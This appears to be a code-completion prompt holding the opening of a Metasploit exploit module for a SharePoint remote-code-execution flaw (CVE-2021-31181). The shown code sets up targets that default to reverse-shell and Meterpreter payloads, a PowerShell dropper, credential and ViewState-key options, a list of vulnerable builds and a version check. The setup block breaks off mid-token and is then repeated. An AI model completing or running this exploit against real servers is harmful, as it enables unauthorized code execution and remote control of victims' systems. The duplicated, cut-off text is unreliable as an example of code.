You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: sharepoint_unsafe_control.rb
    path of file: ./repos/metasploit-framework/modules/exploits/windows/http
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Sharepoint
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Powershell

  XML_NS = {
    'wpp' => 'http://microsoft.com/sharepoint/webpartpages',
    'soap' => 'http://www.w3.org/2003/05/soap-envelope',
    'xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
    'xsd' => 'http://www.w3.org/2001/XMLSchema'
  }.freeze

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft SharePoint Unsafe Control and ViewState RCE',
        'Description' => %q{
          The EditingPageParser.VerifyControlOnSafeList method fails to properly validate user supplied data. This
          can be leveraged by an attacker to leak sensitive information in rendered-preview content. This module will
          leak the ViewState validation key and then use it to sign a crafted object that will trigger code execution
          when deserialized.

          Tested against SharePoint 2019 and SharePoint 2016, both on Windows Server 2016.
        },
        'Author' => [
          'Unknown', # Reported to HP ZDI team, Vulnerability discovery
          'Spencer McIntyre', # Module
          'wvu' # Module
        ],
        'References' => [
          [ 'CVE', '2021-31181' ],
          [ 'ZDI', '21-573' ],
          [ 'URL', 'https://www.zerodayinitiative.com/blog/2021/6/1/cve-2021-31181-microsoft-sharepoint-webpart-interpretation-conflict-remote-code-execution-vulnerability' ]
        ],
        'DisclosureDate' => '2021-05-11',
        'License' => MSF_LICENSE,
        'Platform' => 'win',
        'Arch' => [ARCH_CMD, ARC
    
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft SharePoint Unsafe Control and ViewState RCE',
        'Description' => %q{
          The EditingPageParser.VerifyControlOnSafeList method fails to properly validate user supplied data. This
          can be leveraged by an attacker to leak sensitive information in rendered-preview content. This module will
          leak the ViewState validation key and then use it to sign a crafted object that will trigger code execution
          when deserialized.

          Tested against SharePoint 2019 and SharePoint 2016, both on Windows Server 2016.
        },
        'Author' => [
          'Unknown', # Reported to HP ZDI team, Vulnerability discovery
          'Spencer McIntyre', # Module
          'wvu' # Module
        ],
        'References' => [
          [ 'CVE', '2021-31181' ],
          [ 'ZDI', '21-573' ],
          [ 'URL', 'https://www.zerodayinitiative.com/blog/2021/6/1/cve-2021-31181-microsoft-sharepoint-webpart-interpretation-conflict-remote-code-execution-vulnerability' ]
        ],
        'DisclosureDate' => '2021-05-11',
        'License' => MSF_LICENSE,
        'Platform' => 'win',
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => false,
        'Targets' => [
          [
            'Windows Command',
            {
              'Arch' => ARCH_CMD,
              'Type' => :win_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
              }
            }
          ],
          [
            'Windows Dropper',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :win_dropper,
              'DefaultOptions' => {
                'CMDSTAGER::FLAVOR' => :psh_invokewebrequest,
                'PAYLOAD' => 'windows/x64/meterpreter_reverse_https'
              }
            }
          ],
          [
            'PowerShell Stager',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :psh_stager,
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_https'
              }
            }
          ]
        ],
        'DefaultTarget' => 2,
        'DefaultOptions' => {
          'DotNetGadgetChain' => :TypeConfuseDelegate
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptString.new('VALIDATION_KEY', [false, 'ViewState validation key']),
      OptString.new('COOKIE', [false, 'SharePoint cookie if you have one']),
      OptString.new('SP_LIST', [true, 'SharePoint site SPList', 'Documents']),
      # "Promote" these advanced options so we don't have to pass around our own
      OptString.new('HttpUsername', [false, 'SharePoint username']),
      OptString.new('HttpPassword', [false, 'SharePoint password'])
    ])
  end

  def post_auth?
    true
  end

  def username
    datastore['HttpUsername']
  end

  def password
    datastore['HttpPassword']
  end

  def cookie
    datastore['COOKIE']
  end

  def vuln_builds
    # https://docs.microsoft.com/en-us/officeupdates/sharepoint-updates
    # https://buildnumbers.wordpress.com/sharepoint/
    # Patched in May of 2021
    [
      [Rex::Version.new('15.0.0.0'), Rex::Version.new('15.0.0.5337')], # SharePoint 2013
      [Rex::Version.new('16.0.0.0'), Rex::Version.new('16.0.0.5149')], # SharePoint 2016
      [Rex::Version.new('16.0.0.10000'), Rex::Version.new('16.0.0.10373')] # SharePoint 2019
    ]
  end

  def check
    build = sharepoint_get_version('cookie' => cookie)

    if build.nil?
      return CheckCode::Unknown('Failed to retrieve the SharePoint version number')
    end

    if vuln_builds.any? { |build_range| build.between?(*build_range) }
      return CheckCode::Appears("SharePoint #{build} is a vulnerable build.")
    end